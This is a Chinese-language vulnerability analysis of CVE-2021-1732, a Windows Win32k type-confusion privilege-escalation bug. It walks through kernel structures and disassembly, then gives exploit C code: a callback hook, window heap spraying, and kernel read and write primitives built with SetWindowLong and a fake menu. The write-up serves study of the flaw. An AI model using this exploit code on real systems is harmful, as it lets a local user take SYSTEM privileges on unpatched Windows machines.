背景知识
内存破坏类内核提权漏洞一般是由C/C++的不安全操作引发,最常见的是Win32k组件中由于Callback机制导致的UAF漏洞。Windows操作系统设计初期,Win32k子系统是在用户态的,从Windows NT4开始,这部分代码移到了内核态,内核态增加了一个Win32k.sys模块,导致3个不安全的因素1.新的系统调用(1100+syscalls)2.用户模式回调(User-mode Callback)3.用户态和内核态之间的共享数据(Share data)。win32k是微软Windows子系统的图形GUI组件,该组件被用于Windows操作系统桌面的图形打印。由于win32k架构的原因,win32k的内核组件需要通过用户模式回调函数对用户模式下的代码进行调用,方便窗口的创建和管理。Win32k内核函数(如xxxCreateWindowEx)会通过用户进程PEBKernelCallBackTable生成回调函数(如xxxClientAllocWindowClassExtraBytes),当用户模式回调函数完成后,会执行NtCallbackReturn将预期的返回参数传回内核,由于这些回调函数无状态特性,可以造成许多与对象锁定机制有关的漏洞。Win32k漏洞通常会利用tagWND数据结构的桌面对象,然后借助内核读写原语转化为纯数据攻击。
纯数据攻击(data-only attacks)过程通常分为两步:
发现漏洞
使用对象字段(如tagWND.cbWndExtra)上特定OS API来利用现有的或新的读写原语。
tagWND数据结构有两个字段tagWnd.cbWndExtra和tagWND.ExtraBytes。当CreateWindowEx创建窗口时,可以注册窗口类时通过WNDCLASSEXA结构体中的cbWndExtra字段直接从内存中的tagWND对象之后请求额外的内存字节。额外的字节数是由cbWndExtra字段控制的,保存在ExtraBytes字段中。读写源于创建过程如下:
1.找到一个用于对内存中名为 WND0的tagWND对象执行写操作的漏洞(如UAF)。
2.在内存中先前破坏的WND0附近分配另一个名为WND1的tagWN对象
3.Wnd0.cbwndextra覆盖为一个非常大的值,如0xFFFFFFF
4.在WND0上调用一个API,比如SetWindowLongPtr,以越界写入WND1中的相关字段。
多种利用Win32k内核的用户模式回调函数的漏洞例如CVE-2014-4113、CVE-2015-0057、CVE-2016-7255、CVE-2019-0808漏洞,都是利用Windows内核的tagWND读写功能来实现提权的。
创建窗口相关的结构体和函数
创建窗口函数:CreatWindowEx
用户态的窗口数据结构体:WNDCLASSEX
窗口类扩展内存大小:cbClsExtra
窗口扩展内存大小:cbWndExtra
窗口数据保存在内核态使用的结构体:tagWND和tagWNDK
用户态调用SetWindowLong可以设置窗口扩展内存数据
tagWnd:是Windows内核用来描述用户创建的窗口的内核数据结构,保存着窗口相关的所有信息。
tagBody:tagWND+0x28处的值,保存着tagWND的主体信息,由于Win32k TypeIsolation的作用,Windows内核将大部分User Object和Gdi Object,比如Window、Bitmap、Palette等对象头和对象主体之间分别从不同的位置开辟空间。
tagWNDCLASSEXW
typedef struct tagWNDCLASSEXW {
UINT cbSize; // 该结构体的大小,通过这个字段来区分桌面开发的新旧版本
/* Win 3.x */
UINT style; // 窗口类的风格
WNDPROC lpfnWndProc; // 窗口的消息处理函数
int cbClsExtra; // 窗口类的扩展内存大小
int cbWndExtra; // 窗口的扩展内存大小
HINSTANCE hInstance; // 该窗口类的窗口消息处理函数所属的应用实例
HICON hIcon; // 该窗口类所用的图标
HCURSOR hCursor; // 该窗口类所用的光标
HBRUSH hbrBackground; // 该窗口类所用的背景刷
LPCWSTR lpszMenuName; // 该窗口类所用的菜单资源
LPCWSTR lpszClassName; // 该窗口类的名称
/* Win 4.0 */
HICON hIconSm; // 该窗口类所用的小像标
} WNDCLASSEXW;
在用户态创建窗口时,需要调用RegisterClass注册窗口类,每个窗口类有自己的名字,调用CreateWindow创建窗口时传入类的名字,即可创建对应的窗口实例。
当cbWndExtra不为0时,系统会申请一段对应大小的空间,如果回调到用户态申请空间时,可能会触发漏洞。
tagWND
ptagWND //内核中调用ValidateHwnd传入用户态窗口句柄可返回此数据指针
0x18 unknown
0x80 kernel desktop heap base //内核桌面堆基址
0x28 ptagWNDk
0xA8 spMenu
tagWNDK
struct tagWNDK
{
ULONG64 hWnd; //+0x00
ULONG64 OffsetToDesktopHeap;//+0x08 tagWNDK相对桌面堆基址偏移
ULONG64 state; //+0x10
DWORD dwExStyle; //+0x18
DWORD dwStyle; //+0x1C
BYTE gap[0x38];
DWORD rectBar_Left; //0x58
DWORD rectBar_Top; //0x5C
BYTE gap1[0x68];
ULONG64 cbWndExtra; //+0xC8 窗口扩展内存的大小
BYTE gap2[0x18];
DWORD dwExtraFlag; //+0xE8 决定SetWindowLong寻址模式
BYTE gap3[0x10]; //+0xEC
DWORD cbWndServerExtra; //+0xFC
BYTE gap5[0x28];
ULONG64 pExtraBytes; //+0x128 模式1:内核偏移量 模式2:用户态指针
};
当WNDCLASSEXW 中的cbWndExtra值不为0时,创建窗口时内核会回调到用户态函数USER32!_xxxClientAllocWindowClassExtraBytes申请一块cbWndExtra大小的内存区域,并且将返回地址保存在tagWNDK结构体的pExtraBytes变量中。
0x00 漏洞描述
CVE-2021-1732是Windows Win32k组件驱动模块Win32kfull.sys(Windows内核用来实现图形化系统的核心驱动程序)的LPE漏洞,由于创建窗口时调用win32kfull!xxxCreateWindowEx过程中会进行用户模式回调(KeUserModeCallback),从而给了用户态进程利用的机会。该漏洞由安恒信息在2020年12月捕获,在2021年2月公开披露,相关样本在蔓玲花(BITTER)APT组织在某次被披露的攻击行动中使用,可以在本地将普通用户进程权限提升为system权限。
漏洞类型:Type Confusion(类型混淆漏洞)
影响版本:
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems
0x01 漏洞分析
用户态进程在调用CreateWindowEx创建的带有扩展内存的windows窗口时,内核态图形驱动win32full.sys模块的xxxCreateWindowEx函数会通过nt!KeUerModeCallback回调机制调用用户态函数user32!_xxxClientAllocWindowClassExtraBytes,向内核返回用户态创建的窗口扩展内存。该返回值的解释由窗口对应tagWND结构体的dwExtarFlag字段规定,如果dwExtraFlag包含0x800属性,返回值被视作相对内核桌面堆起始地址的偏移。攻击者可以hook user32!xxxClientAllocWindowClassExtraBytes函数,通过一些手段使得dwExtarFlag包含0x800属性,然后直接调用dtdll!NtCallbackReturn向内核返回一个任意值。回调结束后,dwExtraFlag不会被清除,未经效验的返回值直接被用于堆内存寻址(桌面堆起始地址+返回值),引发内存越界访问,攻击者通过构造和api封装,获得内存读写能力,最后复制system进程的token到进程完成提权。
正常逻辑:
1.CreateWindowsEx会调用内核函数xxxCreateWindowEx来实现窗口创建。
2.xxxCreateWindowEx内部会调用xxxClientAllocWindowClassExtraBytes来创建额外的空间,之后将返回的地址保存在tagBody+0x128处
3.xxxClientAllowWindowClassExtraBytes会切换到用户带执行开辟空间的动作,空间申请完成后,调用NtCallbackReturn返回到内核执行点继续执行。
漏洞逻辑:
漏洞发生在第二步,返回用户态执行开辟空间的代码中,若此时调用NtUserConsoleControl
1.NtUserConsoleControl内部会修改tagBody+0xE8处的Flag,通过逻辑或其他方式添加0x800标志,*(tagBody+0xE8) | =0x800
2.0x800这个标志tagBody+0x128处保存的值是否一个相对偏移,若是,则值为相对DesktopHeap基址的偏移,若不是,则保存用户态的地址。
3.标志位的修改,导致后续对tagBody+0x128处的值被作为偏移来使用,最终在xxxDestroyWindow发生使用,从而产生崩溃。
win32kfull!xxxCreateWindowEx
传入tagWND -> cbwndExtra 到 xxxClientAllowWindowClassExtraBytes,在xxxClientAllowWindowClassExtraBytes执行后返回pExtraBytes
判断tagWND -> cbWndExtra不为0
.text:00000001C0079F81 call ??9?$RedirectedFieldcbwndExtra@H@tagWND@@QEBAEAEBH@Z ; tagWND::RedirectedFieldcbwndExtra<int>::operator!=(int const &)
.text:00000001C0079F86 test al, al ;判断
.text:00000001C0079F88 jz short loc_1C0079FD4
传入参数cbWndExtra后调用xxxClientAllocWindowClassExtraBytes
.text:00000001C0079F8A mov rax, [r15+28h] ; 进入ptagWNDK
.text:00000001C0079F8E mov ecx, [rax+0C8h] ; 传参cbWndExtra
.text:00000001C0079F94 call xxxClientAllocWindowClassExtraBytes;调用
将xxxClientAllocWindowClassExtraBytes返回值传到tagWND -> pExtraBytes
.text:00000001C0079F99 mov rcx, rax ; 返回值到rcx
.text:00000001C0079F9C mov rax, [r15+28h] ; 进入tagWNDK
.text:00000001C0079FA0 mov [rax+128h], rcx ; 将返回值赋值到tagWNDK+0x128处
win32kfull!xxxClientAllocWindowClassExtraBytes
win32kfull!xxxCreateWindowEx载入了一个cbwndExtra,然后回调用户层user32!xxxClientAllowWindowClassExtraBytes返回了pExtraBytes然后传回win32kfull!xxxCreateWindowEx,用于赋值pExtraBytes
KeUserModeCallback使用编号123回调且传入参数cbwndExtra到用户层user32.dll中的KernelCallbackTable表中user32!xxxClientAllocWindowClassExtraBytes函数,从user32!xxxClientAllocWindowClassExtraBytes调用NtCallbackReturn,返回数据有返回数据outputbuffer和返回数据长度outputlength,outputlength长度是0x18,MmUserProbeAddress会判断返回的内存outputbuffer是否越界,MmUserProbeAddress == 0xfff0000表示用户层边界,v5 = PsGetCurrentProcessWow64Process();返回的指针第一个只想用户层分配内存的地址,使用ProbeForRead判断用户层返回的内存是否是Ring3内存。v4是将要载入的pExtraBytes的内存地址。
user32!_xxxClientAllocWindowClassExtraBytes
用户层申请一个堆地址后将地址回调到内核层执行
RtlAllocateHeap分配了一个内存并返回这个内存的地址。NtCallbackReturn传输了长度0x18的数据到内核层,win32kfull!xxxClientAllocWindowClassExtraBytes作为参数继续运行,长度为0x18数据的第一个8字节长度数据是分配后的地址。
win32kfull!NtUserConsoleControl
实质作用是调用xxxConsoleControl,将结果保存在Process_Info中,当ControlCode==6时,会来到xxxConsoleControl
指定窗口hwnd的dwExtraFlag包含0x800属性
参数1:功能序号,小于等于6
参数2:输入信息,是hook调用NtUserConsoleControl需要获取的HWND
参数3:输入信息长度,需要小于等于0x18
win32kfull!xxxConsoleControl
当flag为0x800直接调用offset寻址,当flag不是0x800会生成一个新内存,把这个内存地址设置为offset再寻址
判断tagWND -> dwExtraFlag是否包含0x800属性。包含0x800时,会重新分配桌面堆,并将偏移0x128保存的分配地址内存pExtrabytes变成了内核桌面地址+offset寻址;不包含0x800就会重新分配内存并设置偏移0x128为offset寻址,将新生成的pExtrabytes赋值cbWndExtra大小到offset寻址内存处。(这些会直接影响SetWindowLong系列函数对窗口的设置)
只要调用了win32kfull!NtConsoleControl就能将dwExtraFlag添加0x800属性。
user32!SetWindowLong
setWindowLong只需要传入3个参数
win32kfull!NtSetWindowLong
*在调用NTSetWindowLong函数时,会调用User32!SetWindowLong,然后传递参数到内核层中的Win32kfull!NtSetWindowLong中调用,,当flag=0x800时,将参数3写入参数2 + (tagWND+0xFC)+内核桌面堆地址+pExtraBytes)指向的地址,进而导致越界写入
user32!SetWindowLong传到内核层的参数,a4固定为1,获取到tagWND句柄,将调用user32!SetWindowLong传入的参数加载到xxxSetWindowLong中继续执行。
win32kfull!xxxSetWindowLong
参数a1是hWnd
__int64 __fastcall xxxSetWindowLong(struct tagWND *a1, int a2, unsigned int a3, __int64 a4, int a5)
v13指向tagWND中的ptagWNDK
设置新指针v14指向v13
v15是tagWNDK+0xFC,传入的nIndex+4必须小于tagWND+0xFC指向的地址内容
指针v18是传入的参数2(v15指向的ptagWNDK+0xFC)之后判断tagWNDK -> flag是有0x800属性,v20指向*(pExtraBytes+载入的参数2+内核参数地址),offset可以使用SetWindowLong自定义。
标记了0x800,采用桌面堆+偏移的方式写入NewLong;没有标记0x800,直接在tag->WndExtraBytes写入NewLong
win32kfull!xxxSetWindowLongPtr
当nIndex = 0, tag->ExtraBytes写入NewLong;
当nIndex>0且nIndex<0xfffffffffffffee0-8,设置tagWnd->ExtraBytes
当nIndex<0时调用xxxSetWindowData
SetWindowLongPtr调用xxxSetWindowData执行特定的堆spmenu赋值功能。xxxSetWindowLongPtr需要满足以下条件跳转到xxxSetWindowData
win32kfull!xxxSetWindowData
tagWNDK->style包含WS_CHILD,tagWND->spMenu=NewLong
tagWNDK->style需要包含WS_CHILD
将参数dwNewLong数据覆盖到(tagWND->spmenu)
CreateWindowEx生成HWND
CreateWindowEx调用内核xxxCreateWindowEx函数
HMAllocObject中的CurThread_1表示当前线程信息,rdesk是ptiCurrent->rdesk.
Type为是windows,WndObject是tagWND
Typew等于1时,采用桌面堆进行分配
win32kfull!CreateMenu
调用流程:CreateMenu -> NtUserCallNoParam -> apfnSimpleCall -> InternalCreateMenu
win32kfull!InternalCreateMenu
win32kfull!InitLookAsideRef
user32!GetMenuBarInfo
xxxGetMenuBarInfo有NtUserGetMenuBarInfo调用,NtUserGetMenuBarInfo对应的用户态函数是GetMenuBarInfo
将参数传入内核层NtUserGetMenuBarInfo中继续运行
win32kfull!NtUserGetMenuBarInfo
读原语的主要调用函数,只要在窗口内部使用根据漏洞构造的写原语将我们自定义的spmenu插入即可
win32kfull!xxxGetMenuBarInfo
87:idObject必须要等于-3才能调用spmenu
95:赋值tagWND->spmenu到v58
107:传入的idItem必须大于0
109:获取ptagWNDK
112:当idItem为1,v38==v37==tagWND -> spmenu + 0x58
GetMenuBarInfo需要满足:
1.idObject = -3
2.tagWnd -> style包含WS_CHLD
BarInfo是调用GetMenuBarInfo的最后的参数,保存着Menu的信息
BarInfo -> rcBar.left = pMenu -> left + tagWnd ->left
BarInfo -> rcBar.right = pMenu -> left + tagWnd -> left + pMenu -> right
0x02漏洞利用
漏洞发生在Windows 图形驱动win32kfull!NtUserCreateWindowEx中一处由回调用户态导致offset可以自定义写入,而存在写入API在flag|0x800下越界写入offset指向地址导致的漏洞。
1.当驱动win32kfull.sys调用NtUserCreateWindowEx调用的xxxCreateWindowEx在调用xxxClientAllocWindowClassExtraBytes创建带窗口扩展内存的窗口时会判断tagWND->cbWndExtra(窗口实例额外分配内存数),该值不为空时调用win32kfull!xxxClientAllocWindowClassExtraBytes中的KeUserModeCallback函数回调系统调用表用户层user32!__xxxClientAllocWindowClassExtraBytes在用户层内存创建窗口扩展内存。
2.用户层创建的窗口扩展内存后分配的地址使用NtCallbackReturn函数修正堆栈后重新返回内核层并保存并继续运行,而当tagWND->flag值包含0x800属性时候调用该值的offset进行寻址。攻击者可在回调函数内调用NtUserConsoleControl并传入当前窗口的句柄,将当前窗口内核结构中的一个成员(用于指明窗口扩展内存的区域)修改为offset,并修改相应的flag为0x800,指明该成员是一个offset。
3.攻击者可在回调函数中Hook位于user32.dll中的xxxClinetAllocWindowClassExtraBytes函数,在其调用的NtUserConsoleControl设置的窗口标志包含0x800属性,接着调用NtCallbackReturn返回任意值保存在tagWnd -> ExtraBytes中,后续利用SetWindowLong系列函数时,将采用DeskHeap+offset的方式设置tagWnd->ExtraBytes,突破SetWindowLong长度限制,实现hWndMin越界写hWndMax写原语。获取读原语需要利用tagMenu,通过写源于修改tagWnd -> spMenu为伪造的tagMenu,利用GetMenuBarInfo实现任意读。
关键点:
1.xxxCreateWindowEx回调用户态过程中存在Hook回调表自定义offset写入内核问题
2.NtUserConsoleControl设置flag这个功能与`SetWindowLong/SetWindowLongStr存在类型混淆问题
tagWND结构体
tagWND
0x10 unknown
0x00 pTEB
0x220 pEPROCESS(of current process)
0x18 unknown
0x80 kernel desktop heap base
0x28 tagWNDk(Mapped to user layer) <-----这个结构体映射到用户层
0x00 hwnd
0x08 kernel desktop heap base offset
0x18 dwStyle
0x28 Program entry
0x58 indow Rect top
0x5C indow Rect left
0x60 Window Rect buttom
0x64 indow Rect right
0x98 spMenu
0xC8 cbWndExtra 长度值
0xE8 dwExtraFlag flag
0xFC unknown
0x128 pExtraBytes 内存地址
0xA8 spMenu
0x28 unknown
0x2C unknown
0x40 unknown
0x44 unknown
0x44 unknown
0x58 unknown
内核状态下窗口句柄地址
win32kfull!NtUserSetWindowLongPtr中存在利用ValidateHwndEx返回内核下的ptagWND地址的操作。
rdi寄存器储存的数据是ptagWND
搜索win32kfull!NtUserSetWindowLong地址,定位目标汇编位置
地址是fffffe23`0941c660,下断运行exp,查看rdi
rdi寄存器更新的数据就是ptagWND句柄的指针,tagWND地址fffffe52057bc640
pEPROCESS
窗口句柄地址为fffffe52057bc640
偏移0x0是进程的Thread地址
kd> !dml_proc
Spmenu偏移
赋值源码
// 4. build fake menu's bar info
pFakeMenu[0] = (ULONG_PTR)&ulFakeHandle;
pFakeMenu[5] = (ULONG_PTR)pFakeMenuBody; // fake body
((PULONG)(&pFakeMenuBody[5]))[1] = 0xffff; // make items count to max
((PULONG)(&pFakeMenu[8]))[0] = 1; // make menu'x to 1
((PULONG)(&pFakeMenu[8]))[1] = 1; // make menu'y to 1
pFakeMenu[0xb] = (ULONG_PTR)pFakeItems; // set fake menu's fake items
ulFakeRefCount[0] = (ULONG_PTR)pFakeMenu;
pFakeMenu[0x13] = (ULONG_PTR)&ulFakeRefCount;
桌面堆地址
tagWNDK结构体
RECT结构体定义
typedef struct tagRECT
{
LONG left;
LONG top;
LONG right;
LONG bottom;
}RECT, *PRECT, NEAR *NPRECT, FAR *LPRECT;
测试源码
##include <windows.h>
##include <winuser.h>
##include <tlhelp32.h>
##include <iostream>
##if 1
##define DEBUG_BREAK() __debugbreak();
##else
##define DEBUG_BREAK()
##endif
##define WND_NAME L"WND"
##define CLS_NAME L"WND_CLS"
##define DefWindowProc DefWindowProcW
using HMVALIDATEHANDLE = VOID * (WINAPI*)(HWND hwnd, int type);
HMVALIDATEHANDLE HMValidateHandle = NULL;
BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return FALSE;
}
BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}
unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
HMValidateHandle = (HMVALIDATEHANDLE)((ULONG_PTR)hUser32 + offset + 11);
return TRUE;
}
BOOL RegistWndClass(PCTSTR ClsName) {
WNDCLASS wndclass = { 0 };
wndclass.style = CS_HREDRAW | CS_VREDRAW;//窗口类型
wndclass.lpfnWndProc = DefWindowProc; //定义窗口处理函数
wndclass.cbClsExtra = 0;//窗口类扩展
wndclass.cbWndExtra = 0x100;//窗口实例无扩展
wndclass.hInstance = GetModuleHandle(NULL);;//当前实例句柄
wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);//窗口的最小化图标类型
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);//窗口采用箭头光标
wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);//窗口背景色
wndclass.lpszMenuName = NULL;//窗口菜单
wndclass.lpszClassName = ClsName; //实际就是进程列表显示的名称
return !!RegisterClass(&wndclass);
}
HWND CreateWnd(PCTSTR ClsName) {
HMENU hMenu = NULL;
HMENU hHelpMenu = NULL;
hMenu = CreateMenu();
hHelpMenu = CreateMenu();
AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about"));
//0x1888是这个子菜单的句柄
AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help"));
return CreateWindowEx(NULL, ClsName, WND_NAME, NULL, 0, 0, 0, 0, NULL, hMenu, GetModuleHandle(NULL), NULL);
}
int main()
{
HWND hwnd;
PVOID pCurWndObj1 = NULL;
FindHMValidateHandle();
if (RegistWndClass(CLS_NAME)) //检查窗口是否注册成功
{
printf("RegisterClass successfull!\n");
hwnd = CreateWnd(CLS_NAME);
printf("hwnd == %X\n", hwnd);
pCurWndObj1 = HMValidateHandle((HWND)hwnd, 0x1);
printf("pCurWndObj1 == %llx\n", pCurWndObj1);
SetWindowLong(hwnd, 0x1c, 0x40c00000);
RECT Rect = { 0 };
GetWindowRect(hwnd, &Rect);
printf("left == %llx\n", Rect.left);
printf("top == %llx\n", Rect.top);
printf("right == %llx\n", Rect.right);
printf("bottom == %llx\n", Rect.bottom);
DEBUG_BREAK();
getchar();
}
}
运行结果
tagWNDK从kernel映射到user的内存空间
RECT结构体
typedef struct tagRECT
{
LONG left; //0x58
LONG top; //0x50
LONG right; //0x68
LONG bottom; //0x60
}RECT;
hook函数分析
##include <HookLib.h>
##pragma comment(lib, "Zydis.lib")
##pragma comment(lib, "HookLib.lib")
using USERMODECALLBACK = VOID(WINAPI*)( ULONG_PTR Para1, ULONG_PTR Para2, ULONG_PTR Para3, ULONG_PTR Para4 );
USERMODECALLBACK UserModeCallback_Orig = NULL;
SetHook((PVOID)(pUserModeCallbackTable[CALLBACK_INDEX]), UserModeCallback_Proxy, reinterpret_cast<PVOID*>(&UserModeCallback_Orig));
当程序在CreateWindowEx回调了UserModeCallbackTable表上的第123项_xxxClientAllocWindowClassExtraBytes,就会跳转到Hook函数UserModeCallback_Proxy赋值。
在调用CreateWindowEx创建窗口过程中需要hook user32!_xxxClientAllocWindowClassExtraBytes跳转到hook函数,hook函数内部调用NtCallbackReturn伪造回调内核态参数功能返回一个自定义的pExtraBytes,然后自定义的pExtraBytes会返回到win32kfull!xxxClientAllocWindowClassExtraBytes,将pExtraBytes当作返回值返回到xxxCreateWindowEx,赋值tagWND->pExtraBytes
VOID WINAPI UserModeCallback_Proxy(ULONG_PTR Para1, ULONG_PTR Para2, ULONG_PTR Para3, ULONG_PTR Para4)
{
ULONG_PTR ulConsoleInfo[0x2] = { 0 };//调用NtUserConsoleControl需要构造0x10长度的参数
ULONG_PTR ulRetBuffer[0x3] = { 0 };//调用NtCallbackReturn需要构造0x18长度的参数
ULONG ulCurWnd = (ULONG)SprayWndHandles[SPRAY_WND_COUNT / 2];
ULONG_PTR ulWndObjOff = 0x0;
printf("UserMode Callback: %llx %llx %llx %llx\n", Para1, Para2, Para3, Para4 );
printf( "Current window is Handle %X\n", ulCurWnd);
// since it was freed and occupied again , so the index increase one, details see my blog's article!
{
USHORT usHigh = (ulCurWnd >> 0x10) & 0xffff;
USHORT usLow = ulCurWnd & 0xffff;
ulCurWnd = ((usHigh + 1) << 0x10) | usLow;
//ulCurWnd是通过sprayHandle拿到的即将创建的窗口句柄值
}
DEBUG_BREAK();
ulWndObjOff = GetWndObjOffset(ulCurWnd);
printf("Current Window Object relative to DesktopHeap's offset:%X\n", ulWndObjOff);
// trigle to change flag
ulConsoleInfo[0] = ulCurWnd;
NtUserConsoleControl(0x6, (PVOID)&ulConsoleInfo, sizeof(ulConsoleInfo));
//对tagWND->flag设置0x800属性
ulRetBuffer[0] = ulWndObjOff;
NtCallbackReturn(&ulRetBuffer, sizeof(ulRetBuffer), 0x0);
// hook: call origin function, in this case, don't need, due to USER32!_xxxClientAllocWindowClassExtraBytes's internal call NtCallbackReturn
//UserModeCallback_Orig(Para1, Para2, Para3, Para4);
}
SprayHandler
创建大量窗口堆后销毁尽量靠中的窗口,再创建一个窗口桌面堆会优先使用休闲的空间,由于之前创建的窗口挤压了堆空间,可以大概率获得原来销毁的窗口,根据窗口句柄生成的规律预知构造一个即将创建的窗口的句柄表示我们现在创建的窗口。
利用SprayHandle的条件:
1.创建足够多的窗口压缩堆空间,在下次调用的时候优先调用之前使用过的休闲空间。
2.对窗口句柄进行规律构造,生成即将生成的窗口句柄,在尚未创建窗口前就使用某写只要调用句柄的API
if (RegistWndClass(CLS_NAME) ) {
for (int i = 0; i < SPRAY_WND_COUNT; i++) {
SprayWndHandles[i] = CreateWnd(CLS_NAME);
}
//挤压分配堆空间
printf("SprayWndHandles[%x] == %X \n", SPRAY_WND_COUNT / 2, SprayWndHandles[SPRAY_WND_COUNT / 2]);
DestroyWindow(SprayWndHandles[SPRAY_WND_COUNT/2]);//摧毁靠中的窗口,释放这个窗口下属的堆块
SetHook((PVOID)(pUserModeCallbackTable[CALLBACK_INDEX]), UserModeCallback_Proxy, reinterpret_cast<PVOID*>(&UserModeCallback_Orig));
//创建一个新窗口触发Hook载入flag 0x800属性
HWND hTargetWnd = CreateWnd(CLS_NAME);
printf("hTargetWnd == %X\n", hTargetWnd);
释放的堆块是大范围正在利用堆中的唯一空闲堆,所以知道分配的规律就能继续利用这个堆块。
{
USHORT usHigh = (ulCurWnd >> 0x10) & 0xffff;
USHORT usLow = ulCurWnd & 0xffff;
ulCurWnd = ((usHigh + 1) << 0x10) | usLow;
//ulCurWnd是通过sprayHandle拿到的即将创建的窗口句柄值
}
HWND CreateWnd( PCTSTR ClsName ) {
return CreateWindowEx(NULL, ClsName, WND_NAME, NULL, 0, 0, 0, 0, NULL, NULL, GetModuleHandle(NULL), NULL);
HMVaildateHandle获取hwnd句柄地址
HMAllocObject创建了桌面堆类型句柄后,会把tagWND对象放入到内核模式到用户模式内存映射的地址里,为了验证句柄的有效性,窗口管理器会调用User32!HMVaildateHandle函数读取这个表,将函数句柄和句柄类型作为参数,并在句柄中查找对应的向,查找到对象返回tagWND只读映射的对象指针,通过tagWND这个对象获取到句柄和窗口信息。使用IsMenu第一个call定位函数
using HMVALIDATEHANDLE = VOID* (WINAPI*)(HWND hwnd, int type);
HMVALIDATEHANDLE HMValidateHandle = NULL;
//定义HMVALIDATEHANDLE类型结构体装在HMValidateHandle函数
BOOL FindHMValidateHandle() {//找到HMValidateHandle
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return FALSE;
}
BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}
unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
HMValidateHandle = (HMVALIDATEHANDLE)((ULONG_PTR)hUser32 + offset + 11);//找HMValidateHandle基址
return TRUE;
}
利用HMVaildateHandle寻找hwnd句柄地址
pCurWndObj = HMValidateHandle((HWND)hwnd, 0x1);
tagWND与桌面堆基址偏移计算
ULONG GetWndObjOffset(ULONG_PTR hwnd ) {
PVOID pCurWndObj = NULL;
ULONG_PTR ulWndObjOff = 0x0;
ULONG_PTR ulTebAddr = 0;
ulTebAddr = __readgsqword(0x30);//获取teb基址
pCurWndObj = HMValidateHandle((HWND)hwnd, 0x1); //利用HMValidateHandle寻找句柄地址,桌面窗口固定参数是0x1
ulWndObjOff = (ULONG_PTR)pCurWndObj - *(ULONG_PTR*)(ulTebAddr + TEB_DESKTOPHEAP_OFF);//窗口tagWND相对用户层桌面堆地址偏移
return ulWndObjOff;//返回窗口hTargetWnd与进程用户堆基址偏移
}
得到tagWND与用户进程桌面堆地址偏移后,就知道内核层窗口tagWND地址
Write Primitive
SetWindowLongPtr:任意地址写入
SetWindowLong:任意地址写入
NtCallbackReturn:自定义offset(pExtraBytes)
NtUserConsoleControl:设置flag
在flag | 0x800 + 载入的自定义pExtraBytes下调用SetWindowLong/SetWindowLongStr,可以进行任意地址写入。
写入的长度有cbWndExtra长度限制,需要先设置足够大的cbWndExtra
SetWindowLongPtr(hTargetWnd, TAGWND_BODY_EXTRA_SIZE_OFF, (ULONG_PTR)-1);//修改cbWNDExtra
SetWindowLong(hAdjacentWnd, 0x498 + 0x30, 0x7);//hAdjacentWnd窗口中的pExtraBytes作为offset自定义写入
Read Primitive
使用写原语将自定义的用户层spmenu载入内核层tagWND->spmenu,使用GetMenuBarInfo读取。通过GetMenuBarInfo信息泄露指定地址数据。
ULONG_PTR ReadPrimitive( HWND TargetWnd ) {
MENUBARINFO menuBarInfo;
ULONG_PTR ulValue0, ulValue1;
menuBarInfo.cbSize = sizeof(menuBarInfo);//menuBarInfo初始化
GetMenuBarInfo(TargetWnd, OBJID_MENU, 0x1, &menuBarInfo);
ReBuildData(&menuBarInfo, &ulValue0, &ulValue1);
//将调用GetMenuBarInfo返回的menuBarInfo中的4字节RECT.left和4字节RECT.top
return ulValue0;
}
将从泄露的2个32位地址的RECT.left和RECT.right重构64位地址
VOID ReBuildData( PMENUBARINFO MenuBarInfoPtr, ULONG_PTR* RetValue0, ULONG_PTR* RetValue1 ) {
ULONG_PTR ulValue0 = MAKE_64BIT_VALUE((ULONG)(MenuBarInfoPtr->rcBar.top), (ULONG)(MenuBarInfoPtr->rcBar.left));
*RetValue0 = ulValue0;
menuBarInfo结构体
typedef struct tagMENUBARINFO
{
DWORD cbSize;
RECT rcBar; // rect of bar, popup, item <===这个就是泄露地址的结构体成员
HMENU hMenu; // real menu handle of bar, popup
HWND hwndMenu; // hwnd of item submenu if one
BOOL fBarFocused:1; // bar, popup has the focus
BOOL fFocused:1; // item has the focus
BOOL fUnused:30; // reserved
